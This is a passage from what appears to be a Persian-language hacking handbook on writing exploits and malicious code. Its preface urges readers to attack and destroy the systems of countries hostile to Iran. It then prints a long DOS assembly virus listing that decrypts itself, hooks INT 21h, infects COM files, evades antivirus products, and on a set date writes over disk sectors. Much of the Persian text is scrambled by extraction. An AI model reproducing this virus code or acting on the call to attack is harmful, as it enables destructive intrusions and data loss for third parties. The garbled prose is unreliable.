  . گيرد می دههع به را است گرفته صورت مقاله این مطالب از رههب با که را ایران

 
ر  متخاصم  و اسرایيلی ایه سيستم از غير به آن گيری کار به و مطالب این از آموزشی غير استفاده مچنينه اربران  خود  دهه ع ب  می  ک

ه  ره قبال در را مسئوليتی گونه يچ همقاله نویسنده و وب امنيت سایت و باشد د  نمی  خرابکاری  گون دی  پذیرن ه  است  یهب امی  ک ابع  تم  من
ه  يچه  اطلاعاتی مراکز دیگر و ایران اطلاعات امنيت سایت بخصوص مقاله این کننده منتشر سئوليتی  گون ال  در را م ه  ره  قب  سوء  گون
  .ندارند دههع بر را مقاله این از آموزشی غير استفاده

 
شن  را کدینگ نوع ینا برابر در تدافعی روش گونه يچه و باشد می کينگه آموزش نمود دهخوا دنبال مقاله این که ای اصلی دفه  ادهپي

د  نوشتن  در مناسبی  گشای  راه تواند می دارند تبحر نویسی کد زمينه در مقدار زیادی که کسانی برای را مقاله این . نمود دهنخوا  ایهک
ه  من خطرناک رم  جمل روس  و اه  ک ه  ایه  وی ه  مطالب  از است  شمنده خوا باشد  ای رایان رای  شده  ارائ زایش  ب ه  اف  و خود  علمی  تجرب

  . نمایيد استفاده خود ایه سيستم امنيت بودهب مچنينه
 
د  و اکسپلویتينگ ینحو درباره بيشتر آشنایی برای عملی تمرین گونه ره به نياز صورت در سی  ک اک  ایه  نوی د  می  خطرن ا  تواني ر  ی  ب

 روی بر خود ایه ارتهم تمرین بر یمبن را اینجانب ادهپيشن مانه یا نمایيد را لازم تمرینات خود شده ایزوله و داخلی ایه سيستم روی
   . ببرید کار به را ایران با متخاصم ایه سيستم

 
اریخ  ایه گذشته مچونه دیگر جنگی یا و گيرد سر جنگی اعتقادی و بينالمللی مسایل سر بر دور چندان نه ای آینده در است قرار اگر  ت
 وظيفه مانه این و نمایيم آماده نيز سایبر تيک مخرب ایه درگيری برای را خود ما که است لازم شود تحميل ایران عزیزمان کشور بر
 گروه دیگر مراهه به دیجيتالی دنيای عرصه در نيز ما. گرفت دهخوا دههع بر مکانی ره و شغلی و سطح ره در ایرانی ره که است ای
 توجه  با شمندمهخوا لذا ( شبکه روی بر ربمخ مبارزات). گرفت يمهخوا دههع بر را ملی خطير وظيفه این ایران اطلاعات امنيت ایه

  : فوق مطالب به داشتن
 

 شداره به توجه عدم صورت در) نمایيد کوشش اهآن نمودن امن بيشتر چه ره تهج در و . نرسانيد آسيب ایرانی ایه سيستم به •
ا  بودنشان پذیر آسيب صورت در شما ایه وذ  یک  ب ذیر  آسيب  کوچک  نف شان  پ د  گوشزد  را بودن اندن  آسيب  از و نمایي ه  رس  ب

 وظيفه شما و بود دهنخوا شما دههع بر مسئوليتی دیگر شما ایه شداره به توجه عدم صورت در باز زیديبپره جدا منابع تمامی
  اید داده انجام را خود

  
د    شداره  اهآن به نفوذ با و نموده حمله ایران کشور با متخاصم سيستم ره به • ه دهي شاری  صورت  در ک ا  دشمنی  در پاف ران  ب  ای

ين  از را شان  اطلاعاتی منابع تمامی نای تاهشداره به توجه عدم صورت در شد دهخوا نابود یشان اه سيستم رده  ب ه  و ب  ر ه ب
   .کنيد وارد ضربه اهآن به ممکن طریق

  
 

 : مقدمه
دارد  ومیه مف و معنا GUI دیگر که در جایی. ببرم اه کره زمينی زیر دنيای اعماق به مقداری را شما دارم قصد مقاله این در ط  ن  و فق
   . ندهد می ادامه خودشان تکاملی سير به و شوند می زاده اهکد که جایی  در ستيده گتک رن و سفيد و سياه دنيای در فقط
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 موفقيت  رمز  نوستالژی مينه و اند نکشيده دست متنی دنيای از اه کره گرافيکی جذاب و متحرک تصاویر آمدن با نوزهه که مه نوزه
ه  شود  سوال  اهآن مهه از اگر شاید است شده خلاصه نفوذگر و برنامه ایهکد نوشتن و دستورات تایپ در اشان زندگی است بوده نانآ  ک

اق  یک : گفت ندهخوا جواب در من خود جمله من اهآن اتفاق به غریب بيشتر داری تقاضایی چه بگویند دنيا آن در اگر  یک  و کوچک  ات
   ... ابدیت تا يچه دیگر و شبکه به متصل و آن روی بر ای رایانه و صندلی و ميز

 
انی  و شکل ر هدر مه آن نویسی کد فقط و فقط من نظر از !؟!؟!؟ است جذاب رنگ تک دنيای این چيز چه ه  زب وذ  منظور  ب  دفه  در نف

 کشف  ای شبکه  ایه  فرم پلت گونهآن یا افزار نرم فلان برای پذیری آسيب فلان که شنوید می خبری بولتن ره یا ای مقاله ره در اغلب
د  کرده فکر خود با حال به تا آیا. است پذیر امکان طرق آن از نفوذ آخر در و پذیری آسيب و خطر احتمال و است شده ه  ای ه  ک ن  چگون  آی
ه  باید جا این در. شوند می نوشته نيز ای مشکی ایهکد مواقع بعضی در مه برایشان و شوند می کشف اه پذیری آسيب ه  دو ب  توجه  نکت
  : داشت

 
 شده اشاره ایهپذیری آسيب کشف چگونگی یکی •
 اه پذیری آسيب آن به توجه با مخرب ایه کد نوشتن نحوه دیگری و •

  
ا  را دو آن مبحث دو این تهمشاب علت به نباید که داشت توجه باید و باشند می یکدیگر از متفاوتی کاملا ایه مقوله دو این وط  مه  ب  مخل
ذیری  آسيب احتمال که ستنده کری هایه تيم و اه گروه از ای عده نمود ر  را اییه  پ ستم  روی ب د هد می  شداره  اییه  سي ه  ن  صورت  ب

Advisory 
شان  بعد مرحله در اهآن به توجه با نيز اه کره از دیگر بعضی و نمایند می منتشر اییه د  برای وذگری  ایهک سپلویت ) نف ی  (اک ر  مبن  آن ب

ذیری  آسيب که یهگرو آن مواقع بيشتر یا مواقع بعضی در . نویسند می اه پذیری آسيب ه  را ای پ د  می  کشف  ک د  کن ه  آن از بع  سراغ  ب
ذ يب آس نوع ره بر مبتنی مشکی ایه گروه یهد خبر نحوه کند می يههت نيز اکسپلویت پذیری آسيب آن ی برا و رفته بعدی مرحله  رییپ
  ستا گونه بدین

 
 پذیری آسيب شفک .١
 پذیری آسيب آن بر یمبتن مخرب ایه کد وشتنن .٢
ين  هو Root Kit  و Backdoor نصب و ذعمليات نفو برای اه پذیری آسيب این از استفاده .٣ ا  اطلاعات  دزدی مچن دتی  ت ا  م  ن

  زیرزمينی دنيای در اهکد این فروش وانتشار  و . معلوم
  
  گيرد می صورت اه مرحله این نداف شاها به رسيدن از عدب
  

 ( گروه اسم به آن ثبت و) اکسپلویت گونه يچه ارائه بدون پذیری آسيب آن به مربوطAdvisory انتشار .۴
ذیری  آسيب  از بسياری برای که ست هنيز احتمال این البته آن بر مبتنی اه گروه دیگر توسط اییه اکسپلویت شدن وشتهن .۵  اه  پ

ر  فرض تهجر ه به نشود نوشته اکسپلویتی وقت يچه ن  ب ه  است  ای ذیری  آسيب  آن ک در  پ ه  باشد  مه م آنق رایش  ک ا  یک  ب د  ی  چن
 ... شود نوشته اکسپلویت

 کننده کشف گروه توسط شده نوشته اکسپلویت نتشارا .۶
 عمومی و رسمی محافل در مربوطه کد سورس تشریح مراهه به فنی جزیيات رنتشاا .٧

  
ن  نيز موارد بعضی در البته کنند می طی را سيری چنين بيش کما اه پذیری آسيب از بسياری اغلب ز  ينچن  ای ن  نيست  ني  شمای  یک  ای
زی  آن تهج ره به نماید می ارائه را اه پذیری آسيب تحول سير از کلی ه  چي وط  ک ه  مرب ه  ب ا  حاضر  حال  مقال  کشف  نحوه  باشد  می  م
 اخت پرد آن به توان نمی مقاله چند و چندین در اهتن نه که است پيچيده آنقدر مسئله این است تهج چند به امر این نيست اه پذیری آسيب
زد  نيز من خود اکنون مه طلبد می را ای علمی بالای سطح به شدیدی نياز بلکه اتيد  از یکی  ن ن  اس ن  ای ی  ف ه  یعن  و کشف  همنظور نحو   ب

ه  با کنم نمی فکر اولا – ندارم عموم برای مطالب این ارائه به مه ای علاقه و )ستمه آموزش حال در اه پذیری آسيب شناسایی  اه آن ارائ
شون  خود  گفته به ( ستنده شخصی ای هارتهم جزو اهآن دوما ياوردب در سر کسی ه  ای ه  اول مرحل يش  ک از  پ ه  اون ني  نحوه  است  مرحل
ن  گذراندن صورت در سته مخرب ایه کد نوشتن ه  ای ه  نوبت  مرحل ذیری  آسيب  شناسایی  و کشف  ب  شناسایی  و کشف  رسه  می  اه  پ
ذیری  آسيب  ستلزم  اه  پ را  م ری  ف ده  ایه  تکنيک  گي ر  پيچي سبت  یت ه  ن د  نوشتن  ب ه  سته  مخرب  اهک ا  حال  ره  ب ه  ب ه  ای تجرب  در ک

 نحوه که کند کشف را ای پذیری آسيب بتواند کسی ندارد امکان. است شده روشن من برای امر این علت حالا آوردم بدست اکسپلویتينگ
 ایهکد نوشتن و پذیری اسيب کشف مسئله در که بگویم توانم می اینطور بيشتر توضيح برای باشد نداشته فرا قبل از را نآ اکسپلویتينگ

 از یهتشاب به و گيریم می نظر در شده حل رو مسئله ما سياه
 نمی سخت آنقدر پذیری آسيب کشف دیگر اه کد نوشتن گيری یاد از بعد معکوس ندسیهم مونه یا رسيم می سوال خود به سوال جواب
د  نوشتن  آموزش  نحوه  مقاله این در ما سعی نمود پيدا احاطه نيز نا به توان می تجربه مقداری و تکنيک چند با و باشد  و مخرب  ایهک

 کنيم می صحبت اه پذیری آسيب باره در ما انگار که بينند می خودشون بين تيز ایه کره شده گفته مطالب لابلای ستشه مبانی اصول
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اد  رو سته سکه روی رفط یک که رو اکسپلویت نویسی اگر مسئله این در است سکه یک روی دو ماننده د  ی ز  دیگر  طرف  بگيری  ني
  . بود دهخوا شما دست در
 

 مقاله این در ما فرض. است نویسی برنامه مچنينه و نویسی کد در شما پایه بشم متذکر بایستی مقاله شروع از قبل باید که دیگری مسئله
نم  می  تکرار مه باز دارند کامل احاطه نویسی برنامه به گرامی کاربران که بوده این بر ی  کامل  احاطه  کي ه  طراحی  نحوه  یعن  از برنام

ه  گونه يچه که م هکسانی برای حال ره به ندارند مشکلی .. و منبع کد نوشتن و تفلو چار جمله ه  در ای تجرب سی  برنام د  نوی ا  و ندارن  ی
 گيری یاد از بعد که است ترهب ولی هیا ش هتون می مفيد مه اهاون برای کوچکی ایه قسمت در مقاله این مطالب دارند آشنایی کمی مقدار
  .کنند مطالعه را مقاله این نویسی برنامه کامل

 
د  نوشتن  ایه  تکنيک  و مطالب  از بعضی  بلکه  نيست نویسی برنامه خود آموزش وجه يچه به ما قصد که باشيد داشته توجه پس  ایهک

  : نویسی اکسپلویت گيری یاد برای نویسی برنامه ایه زبان ایه نياز پيش داد يمهخوا توضيح رو مخرب
 

Perl – Python – JAVA/ JAVA Script – C/ C++- LISP – HTML –XML – WML - 
  
سند  میPerl  و C  ایه زبان به رو اه اکسپلویت بيشتر که کردید می فکر بحال تا شاید اسمبلی مترهم مهه از و ه  نوی ن  البت ا  حرف  ای  ت

ن  از ایه  پذیری آسيب برای بيشتر اهکره مانور قدرت علت به مه و ا هزبان این بودن مندقدرت خاطر به مه ستشه درست مه حدی  ای
 اه زبان

 بيشتر مه شما .برد يدهخوا پی مطلب این به ادامه در است فتههن اسمبلی زبان در اکسپلویتی ره علمی پشتوانه خود ولی شود می استفاده
ن  به خلاصه فقط اه پذیری آسيب نوشتن گستره که بگویم باید ولی اید کرده هاستفاد زبان دو این از یکی از کينگه امور در ان  دو ای  زب
 تعریف به اگر باشد فوق نویسی برنامه ایه زبان در گسترده آشنایی پذیری آسيب کشف سپس و اکسپلویت نوشتن لازمه اصولا شه نمی
 ایهکد علمی
   .شد دهخوا شنتر رو مقداری مسئله بيندازیم تر دقيق یهنگا مخرب

  
  

  : Black Codes تعریف
  
 برنامه ایه زبان یا اسمبلی مثل پایين سطح وچهC  مثل بالا سطح چه نویسی برنامه زبان ره توسط که منبعی کد گونه ره کلی طور به

ند  شده  مهترج چه مخرب ایه ابزار يههت یا نفوذ یا زدن ضربه منظور به شوند يههتJAVA Script  مثل واسطه یا و مفسر نویسی  باش
  .گویند می مخرب ایه کد را باشند نشده یا و
  

 دزدی منظور به که نيزHTML  کد یک از رشته یک حتی باشد Black Code از نوعی تواند می کدی گونه ره تر ساده زبان به پس
ورد  مخرب  ایه کد از هک ای گونه آن ولی است مخرب کد یک شود يههت که دیگری خرابکارانه دفه ره یا زدن ضربه یا اطلاعات  م

 کامپایلر یا و گر ترجمه ایه برنامه با اغلب که است اکسپلویت ایجاد مانه یا و اه پذیری آسيب برای مخرب ایه کد يههت است ما توجه
   . برد نام توان میC  ماننده شد اشاره بدان که اییه زبان جمله از که آیند می در اکسپلویت صورت به منبع ایه کد
 

ه  سته  بررسی قابل حوزه این در روش چند و چندین باشد می اکسپلویت نوشتن ایه تکنيک بعدی نکته ا  ک شتر  م ر  بي د  روی ب د  چن  مت
ه  آن معروف  احثی  ب ل  پرداخت  يمهخوا  مب ا  Buffer Over Flow  مث ا  و injection  ی سایل  بعضی  ازTime loop  ی ه  م رای  ک  ب
   .نمود مهواخ يزه پر باشد کننده گيج تواند می خوانندگان

  
ه هت کل  در سپلویت  یک  ي د ه اک ه  یک  ساخت  مانن د  است  خان ی  شما  بای رده  درست  را اجزای ه  سپس  و ک د  مه  ب د  پيون ل  بزني   ساختن  مث

shellcodeه  را آن به لازم تحقيقات اکسپلویت نوع به بسته اکسپلویت خود نوشتن از قبل کلا و شبکه ایه بخش نوشتن یا و  می  عمل  ب
ثلا  آوریم سپلویتمان  اگر  م تفاده buffer over running  از اک د  می  اس ل  کن زی  ره  از قب د  چي ادیر  از بای افر  مق ایز  و ب ين ه و آن س  مچن

وع  را اطلاعاتی باید مه نویسی اکسپلویت ایه تکنيک دیگر برای. باشيم داشته را حافظه کامل بررسی ستم  بخش  ازن انی  سي ه  ای قرب  ک
  .باشد کرده يههت را کند می حمله آن به اکسپلویت

  
 سوزاندن یا و ALU و MBR مثل رایانه افزار سخت بردن بين از برای که را اسمبلی (killer Codes) قاتل ایه کد مقاله این در من

RAM ين  چونکه . است مقاله این بحث محدوده از خارج اسمبلی ایه اکسپلویت سطح اصولا.  داد مهنخوا ارائه را روند می کار به  اول
ل  ایه  کد مينه از سمج افزاری سخت ایه ویروس بيشتر . باشد مه نيز امتحانتان آخرین تواند می اتان سيستم روی بر ماش امتحان  قات
ه  برگرد قابل سيستم و کنند میTerminate  را سيستم اه killer Code  ولی ستنده مخرب اهBlack code  کل در کنند می استفاده  ب
ستمی  ایه  پروسه  از بعضی  مشخص  زمانی برای که کنيم می استفاده اهBlack Code از ما اصولا نيست قبلی شرایط ار  از را سي  ک
ا  بحث  پس ستند ه Terminator به فقط و فقط قاتل اه کد ولی شویم قربانی سيستم در خود ایه فرمان شدن اجرا باعث و انداخته  در م
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 ١١٣٦    صفحه

ویيم  می  وقتی البته پرداخت يمهنخوا قاتل اه کد از عنو ین ا به و شد دهخوا خلاصهBlack Codes  به فقط مقاله این اید  قالت  گ  شما  ش
ين ه اه این کنيد مس مجسم را بدست چاقو فرد یک د  م ولی  ایهک رای  ستنده  معم رای  اینکه  ب ار  یک  ب ن  م ه ب د  ای ده  را اه  ک يد  دی ه  باش  ب

ن  به مندان علاقه برای تهج ره به - کنيد توجه زیر کد سورس ن  مباحث  ای روس  کامل  سورس  یک  ای زاری  سخت  وی رای  اف  آسيب  ب
  )است  ناقص کد سورس این ( باشد می اردیسک هبه رسانی

 
Killer Codes 
;******************************************************************* 
; Real Owner : cDc Zatko 1988 
;******************************************************************* 
.286 
code segment 
assume cs:code,ds:code 
org 100h 
start: CALL NEXT 
NEXT: 
mov di,sp ;take the stack pointer location 
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus 
sub bp,offset next ;subtract the large code off this code 
; 
;******************************************************************* 
; #1 DECRYPT ROUTINE 
;******************************************************************* 
cmp byte ptr cs:[crypt],0b9h ;is the first runnig? 
je crypt2 ;yes! not decrypt 
;---------------------------------------------------------- 
mov cx,offset fin ;cx = large of virus 
lea di,[offset crypt]+ bp ;di = first byte to decrypt 
mov dx,1 ;dx = value for decrypt 
;---------------------------------------------------------- 
deci: ;deci = fuck label! 
;---------------------------------------------------------- 
ÿinc di 
inc di 
;---------------------------------------------------------- 
jmp bye ;######## BYE BYE F-PROT ! ########## 
mov ah,4ch 
int 21h 
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### 
;----------------------------------------------------------- 
mov ah,0bh ;######### BYE BYE TBAV ! ########## 
int 21h ;### (CANGE INT AT YOU PLEASURE) ### 
;---------------------------------------------------------- 
loop deci ;repeat please! 
; 
;***************************************************************** 
; #2 DECRYPT ROUTINE 
;***************************************************************** 
; 
crypt: ;fuck label! 
; 
mov cx,offset fin ;cx = large of virus 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

   صفحه
١١٣٧

lea di,[offset crypt2] + bp ;di = first byte to decrypt 
;--------------------------------------------------------------- 
deci2: ; 
xor byte ptr cs:[di],1 ;decrytion rutine 
inc di ;very simple... 
loop deci2 ; 
;--------------------------------------------------------------- 
crypt2: ;fuck label! 
; 
MOV AX,0CACAH ;call to my resident interrup mask 
INT 21H ;for chek "I'm is residet?" 
CMP Bh,0CAH ;is equal to CACA? 
JE PUM2 ;yes! jump to runnig program 
call action 
;***************************************************************** 
; NRLG FUNCTIONS (SELECTABLE) 
;***************************************************************** 
ÿcall TRASH_RN 
call ANTI_V 
;**************************************************************** 
; PROCESS TO REMAIN RESIDENT 
;**************************************************************** 
mov ax,3521h 
int 21h ;store the int 21 vectors 
mov word ptr [bp+int21],bx ;in cs:int21 
mov word ptr [bp+int21+2],es ; 
;--------------------------------------------------------------- 
push cs ; 
pop ax ;ax = my actual segment 
dec ax ;dec my segment for look my MCB 
mov es,ax ; 
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory 
;--------------------------------------------------------------- 
push cs ; 
pop es ; 
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus 
sub bx,17 + offset fin ;and 100H for the PSP total 
mov ah,4ah ;used memory 
int 21h ;put the new value to MCB 
;--------------------------------------------------------------- 
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin 
mov ah,48h ; 
int 21h ;request the memory to fuck DOS! 
;--------------------------------------------------------------- 
dec ax ;ax=new segment 
mov es,ax ;ax-1= new segment MCB 
mov byte ptr es:[1],8 ;put '8' in the segment 
;-------------------------------------------------------------- 
inc ax ; 
mov es,ax ;es = new segment 
lea si,[bp + offset start] ;si = start of virus 
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 ١١٣٨    صفحه

mov di,100h ;di = 100H (psp position) 
mov cx,offset fin - start ;cx = lag of virus 
push cs ; 
pop ds ;ds = cs 
cld ;mov the code 
rep movsb ;ds:si >> es:di 
;-------------------------------------------------------------- 
mov dx,offset virus ;dx = new int21 handler 
mov ax,2521h ; 
push es ; 
pop ds ; 
int 21h ;set the vectors 
;------------------------------------------------------------- 
pum2: ; 
; 
mov ah,byte ptr [cs:bp + real] ;restore the 3 
mov byte ptr cs:[100h],ah ;first bytes 
mov ax,word ptr [cs:bp + real + 1] ; 
mov word ptr cs:[101h],ax ; 
;------------------------------------------------------------- 
mov ax,100h ; 
jmp ax ;jmp to execute 
; 
;***************************************************************** 
;* HANDLER FOR THE INT 21H 
;***************************************************************** 
; 
VIRUS: ; 
; 
cmp ah,4bh ;is a 4b function? 
je REPRODUCCION ;yes! jump to reproduce ! 
cmp ah,11h 
je dir 
cmp ah,12h 
je dir 
dirsal: 
cmp AX,0CACAH ;is ... a caca function? (resident chek) 
jne a3 ;no! jump to a3 
mov bh,0cah ;yes! put ca in bh 
a3: ; 
JMP dword ptr CS:[INT21] ;jmp to original int 21h 
ret ; 
make db '[NuKE] N.R.L.G. AZRAEL' 
dir: 
jmp dir_s 
;------------------------------------------------------------- 
REPRODUCCION: ; 
; 
pushf ;put the register 
pusha ;in the stack 
push si ; 
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 ١١٣٩    صفحه

push di ; 
push bp ; 
push es ; 
push ds ; 
;------------------------------------------------------------- 
push cs ; 
pop ds ; 
mov ax,3524H ;get the dos error control 
int 21h ;interupt 
mov word ptr error,es ;and put in cs:error 
mov word ptr error+2,bx ; 
mov ax,2524H ;change the dos error control 
mov dx,offset all ;for my "trap mask" 
int 21h ; 
;------------------------------------------------------------- 
pop ds ; 
pop es ;restore the registers 
pop bp ; 
pop di ; 
pop si ; 
popa ; 
popf ; 
;------------------------------------------------------------- 
pushf ;put the registers 
pusha ; 
push si ;HEY! AZRAEL IS CRAZY? 
push di ;PUSH, POP, PUSH, POP 
push bp ;PLEEEEEAAAAAASEEEEEEEEE 
push es ;PURIFY THIS SHIT! 
push ds ; 
;------------------------------------------------------------- 
mov ax,4300h ; 
int 21h ;get the file 
mov word ptr cs:[attrib],cx ;atributes 
;------------------------------------------------------------- 
mov ax,4301h ;le saco los atributos al 
xor cx,cx ;file 
int 21h ; 
;------------------------------------------------------------- 
mov ax,3d02h ;open the file 
int 21h ;for read/write 
mov bx,ax ;bx=handle 
;------------------------------------------------------------- 
mov ax,5700h ; 
int 21h ;get the file date 
mov word ptr cs:[hora],cx ;put the hour 
mov word ptr cs:[dia],dx ;put the day 
and cx,word ptr cs:[fecha] ;calculate the seconds 
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) 
jne seguir ;yes! the file is infected! 
jmp cerrar ; 
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 ١١٤٠    صفحه

;------------------------------------------------------------ 
seguir: ; 
mov ax,4202h ;move the pointer to end 
call movedor ;of the file 
;------------------------------------------------------------ 
push cs ; 
pop ds ; 
sub ax,3 ;calculate the 
mov word ptr [cs:largo],ax ;jmp long 
;------------------------------------------------------------- 
mov ax,04200h ;move the pointer to 
call movedor ;start of file 
;---------------------------------------------------------- 
push cs ; 
pop ds ;read the 3 first bytes 
mov ah,3fh ; 
mov cx,3 ; 
lea dx,[cs:real] ;put the bytes in cs:[real] 
int 21h ; 
;---------------------------------------------------------- 
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? 
jne er1 ;yes! is a EXE... fuckkk! 
;---------------------------------------------------------- 
jmp cerrar 
er1: 
;---------------------------------------------------------- 
mov ax,4200h ;move the pointer 
call movedor ;to start fo file 
;---------------------------------------------------------- 
push cs ; 
pop ds ; 
mov ah,40h ; 
mov cx,1 ;write the JMP 
lea dx,[cs:jump] ;instruccion in the 
int 21h ;fist byte of the file 
;---------------------------------------------------------- 
mov ah,40h ;write the value of jmp 
mov cx,2 ;in the file 
lea dx,[cs:largo] ; 
int 21h ; 
;---------------------------------------------------------- 
mov ax,04202h ;move the pointer to 
call movedor ;end of file 
;---------------------------------------------------------- 
push cs ; 
pop ds ;move the code 
push cs ;of my virus 
pop es ;to cs:end+50 
cld ;for encrypt 
mov si,100h ; 
mov di,offset fin + 50 ; 
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 ١١٤١    صفحه

mov cx,offset fin - 100h ; 
rep movsb ; 
;---------------------------------------------------------- 
mov cx,offset fin 
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus 
enc: ; 
xor byte ptr cs:[di],1 ;encrypt the virus 
inc di ;code 
loop enc ; 
;--------------------------------------------------------- 
mov cx,offset fin 
mov di,offset fin + 50 + (offset crypt - offset start) ;virus 
mov dx,1 
enc2: ; 
ÿinc di 
inc di ;the virus code 
loop enc2 ; 
;-------------------------------------------- 
mov ah,40h ; 
mov cx,offset fin - offset start ;copy the virus 
mov dx,offset fin + 50 ;to end of file 
int 21h ; 
;---------------------------------------------------------- 
cerrar: ; 
;restore the 
mov ax,5701h ;date and time 
mov cx,word ptr cs:[hora] ;file 
mov dx,word ptr cs:[dia] ; 
or cx,word ptr cs:[fecha] ;and mark the seconds 
int 21h ; 
;---------------------------------------------------------- 
mov ah,3eh ; 
int 21h ;close the file 
;---------------------------------------------------------- 
pop ds ; 
pop es ;restore the 
pop bp ;registers 
pop di ; 
pop si ; 
popa ; 
popf ; 
;---------------------------------------------------------- 
pusha ; 
; 
mov ax,4301h ;restores the atributes 
mov cx,word ptr cs:[attrib] ;of the file 
int 21h ; 
; 
popa ; 
;---------------------------------------------------------- 
pushf ; 
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 ١١٤٢    صفحه

pusha ; 8-( = f-prot 
push si ; 
push di ; 8-( = tbav 
push bp ; 
push es ; 8-) = I'm 
push ds ; 
;---------------------------------------------------------- 
mov ax,2524H ; 
lea bx,error ;restore the 
mov ds,bx ;errors handler 
lea bx,error+2 ; 
int 21h ; 
;---------------------------------------------------------- 
pop ds ; 
pop es ; 
pop bp ;restore the 
pop di ;resgisters 
pop si ; 
popa ; 
popf ; 
;---------------------------------------------------------- 
JMP A3 ;jmp to orig. INT 21 
; 
;********************************************************** 
; SUBRUTINES AREA 
;********************************************************** 
; 
movedor: ; 
; 
xor cx,cx ;use to move file pointer 
xor dx,dx ; 
int 21h ; 
ret ; 
;---------------------------------------------------------- 
all: ; 
; 
XOR AL,AL ;use to set 
iret ;error flag 
;*********************************************************** 
; DATA AREA 
;*********************************************************** 
largo dw ? 
jump db 0e9h 
real db 0cdh,20h,0 
hora dw ? 
dia dw ? 
attrib dw ? 
int21 dd ? 
error dd ? 
ÿ;--------------------------------- 
action: ; 
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 ١١٤٣    صفحه

MOV AH,2AH ; 
INT 21H ;get date 
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? 
JE cont ;nop! fuck ret 
cmp byte ptr cs:[action_dia+bp],32 ; 
jne no_day ; 
cont: ; 
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? 
je set ; 
cmp byte ptr cs:[action_mes+bp],13 ; 
jne NO_DAY ;nop! fuck ret 
set: ; 
mov ah,0dh ; 
int 21h ;reset disk 
mov al,2 ; 
mov cx,0ffffh ; 
mov dx,0 ; 
int 26h ;fuck ffffh sector 
mov ah,0dh ;reste disk 
int 21h ; 
mov al,2 ; 
mov cx,0ffffh ; 
mov dx,0ffffh ;new fuck+ 
int 26h ;heheheh!!! 
NO_DAY: ; 

  
  : مقاله

 
ه  بگویم باید البته شدید آشنا اساسی و مهم مطالب بعضی با مقدمه در سئله  از درصد  ۵٠ حدود  در مطالب  مون ه ک د  م و  ک  رو مخرب  ن

ه  در شده  گفته مطالب مگیه به باید شما که گویم می مه باز پرداخت دهخوا بقيه ددرص ۵٠ به مقاله ادامه داد می تشکيل ا  مقدم  و یهآگ
 شوند می محسوب بخش این پيشنياز واقع در باشيد داشته کامل احاطه

 
  

  : بندی تقسيم یک
  

Exploit  ه  اغلب  اه ه  ب ه هت دوگون ه  یکی  شوند  می  ي ه  دیگری  و Local صورت  ب رای  remote شکل  ب د  توضيح  ب ه  بگم  بای  یک  ک
ه  ای شبکه  امکانات که ستشهLocal اکسپلویت مانه واقع در Remote اکسپلویت د  سورس  ب ع  در شده  اضافه  ک سپلویت  واق   ایه  اک

Localد  داخلی ایه سيستم روی بر و اههآزمایشگا در رو د  می  تست  و تولي د  و کنن ان   از بع دا  اطمين ذیری  آسيب  وع ن از کردن  پي  و پ
 واقه در کنند می اضافهLocal  کد سورس به شبکه به نفوذ چنين مه و شناسایی برای مه رو شبکه کد ایه قسمت لویتاکسپ بودن عملی
يم  اشاره  مه رو دیگر يجهم دروازهWorm  یک شروع توانيم می اینجا از البته شد صورت دو به مه اکسپلویتينگ بحث پس ه  کن  اون ک
 اکسپلویت بحث از بعد توان می که باشه جالب شما برای تونه می اینقدر مطلب این خود سته اه بخصوص و اه ویروس نوشتن مونه

ام  بخشی ورمی ره بخش مترینهم پرداخت اه ورم يههت نحوه روی بر بحث به نویسی ه  داره ن ام  ب ا  جنگی  سر  ن ه War Head  ی  در ک
شکيل  مه  دیگری  اجزای  از اه  ورم هالبت  داره دههع بر مه رو نفوذ عمليات و داره قرار اکسپلویت سورس قسمت اون د  شده  ت ه  ان ه  ک  ب
ه  قسمتش مترینهم مومه ولی نداره ربطی دراینجا ما بحث سمت  ک رم  جنگی  ق شه  محسوب  ک سپلویت  مون ه مي ه  اک ار  ب ه  ک  ورم در رفت
ه  امور  دیگر به توانيد می شما نویسی اکسپلویت نحوه نام به مادری مبحث از که بينيد می شما پس ستشه شع  ک ن  از بمن  مه  تکنيک  ای
  .... و ا ه Bugکشف یا و نویسی ورم جمله از کنيد پيدا دست سته
  

 باشه  داشته رو شبکه منابع دیگر با جستجو مچنينیه و شبکه با برقراری توانایی بایدRemote  اکسپلویت یک که رسيدم اینجا به خوب
ا  و کنيد اضافه آن به مه ورLocal  قسمت توانيد می برنامه از قسمت این نوشتن نحوه از بعد ر  ب ا  کردن  طرف  ب  و دستوری  ایه  خط

د  می  نه ذ از دور و سخت  مقدار یک ابتدا در که دونم می باشد داشته تميز و تر اکسپلویت یک اتان برنامه منطقی سپلویت  آی سی  اک  نوی
د  می لذت شبکه روی بر کار از که است موقع آن بلکه شود می آسان و لهس بسيار اهتن نه کار این تلاش و تمرین مدتی از بعد ولی  بری
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 ١١٤٤    صفحه

 خسته و آور ملال تونه می مدتی از بعد آن و این ایه اکسپلویت و ای هپذیری آسيب از استفاده. چشيد می رو بودن کره واقعی طمع و
   .باشه کننده

 
شه  یادSocket Programming به بخش این از پرداخت مهخوا محلی کد یک کردنRemote  باره در توضيح به مقداری ابتدا پس  مي
سپلویت  یک باد ه  اک ثلا  بتون ا  م ور  ب ورد  شبکه  آداپت رار  تماس  نظر  م ه  برق ثلا  کن د  م ه  بای ه  بتون ورد  ایه IP  ک شناسه  رو نظر  م ا  و ب  ب

تادن  ه  ی اه  دستور  فرس د  اجرای  ب دام  اه  ک ه  اق ه  مه  می هم مطلب  .کن د  ک ا  در بای ه  اینح نم  اشاره  اون ب سمت  در ک وع  ق  Socket  ن
Programmingویندوزی ایه سيستم فقط اه اکسپلویت بعضی مثال طور به کنيد طراحی را خودتان اکسپلویت يدهخوا می که است ای 

ر  نویسی برنامه از خاصی نوعی دو این از کدام ره که رو لينوکس بر مبتنی ایه سيستم فقط مه ضیعب و شناسند می رو  شبکه  روی ب
 از وعین البته کنه می تحميل ما به رو

